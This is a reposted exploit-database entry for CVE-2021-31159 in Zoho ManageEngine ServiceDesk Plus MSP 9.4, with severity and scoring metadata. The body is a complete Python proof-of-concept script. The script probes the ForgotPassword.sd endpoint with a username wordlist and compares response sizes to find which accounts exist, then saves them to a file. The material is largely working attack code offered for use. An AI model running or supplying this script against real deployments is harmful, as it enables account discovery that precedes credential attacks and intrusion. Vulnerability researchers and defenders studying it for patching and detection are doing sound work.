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Zoho ManageEngine ServiceDesk Plus MSP 9.4 User Enumeration

CVE Category Price Severity
CVE-2021-31159 CWE-200 $2,500 High
Author Risk Exploitation Type Date
Sachin Wagh High Remote 2021-07-02
CPE
cpe:cpe:/a:zoho:manageengine_servicedesk_plus_msp:9.4
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N 0.06167 0.85512

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070007

Below is a copy:

Zoho ManageEngine ServiceDesk Plus MSP 9.4 User Enumeration
# Exploit Title: Zoho ManageEngine ServiceDesk Plus MSP 9.4 - User Enumeration 
# Date: 17/06/2021
# Exploit Author: Ricardo Ruiz (@ricardojoserf)
# CVE: CVE-2021-31159 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31159)
# Vendor Homepage: https://www.manageengine.com
# Vendor Confirmation: https://www.manageengine.com/products/service-desk-msp/readme.html#10519
# Version: Previous to build 10519
# Tested on: Zoho ManageEngine ServiceDesk Plus 9.4
# Example: python3 exploit.py -t http://example.com/ -d DOMAIN -u USERSFILE [-o OUTPUTFILE]
# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-31159

import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def get_args():
parser = argparse.ArgumentParser()
parser.add_argument('-d', '--domain', required=True, action='store', help='Domain to attack')
parser.add_argument('-t', '--target', required=True, action='store', help='Target Url to attack')
parser.add_argument('-u', '--usersfile', required=True, action='store', help='Users file')
parser.add_argument('-o', '--outputfile', required=False, default="listed_users.txt", action='store', help='Output file')
my_args = parser.parse_args()
return my_args


def main():
args = get_args()
url = args.target
domain = args.domain
usersfile = args.usersfile
outputfile = args.outputfile

s = requests.session()
s.get(url)
resp_incorrect = s.get(url+"/ForgotPassword.sd?userName="+"nonexistentuserforsure"+"&dname="+domain, verify = False)
incorrect_size = len(resp_incorrect.content)
print("Incorrect size: %s"%(incorrect_size))

correct_users = []
users = open(usersfile).read().splitlines()
for u in users:
resp = s.get(url+"/ForgotPassword.sd?userName="+u+"&dname="+domain, verify = False) 
valid = (len(resp.content) != incorrect_size)
if valid:
correct_users.append(u)
print("User: %s Response size: %s (correct: %s)"%(u, len(resp.content),str(valid)))

print("\nCorrect users\n")
with open(outputfile, 'w') as f:
for user in correct_users:
f.write("%s\n" % user)
print("- %s"%(user))

print("\nResults stored in %s\n"%(outputfile))


if __name__ == "__main__":
    main()

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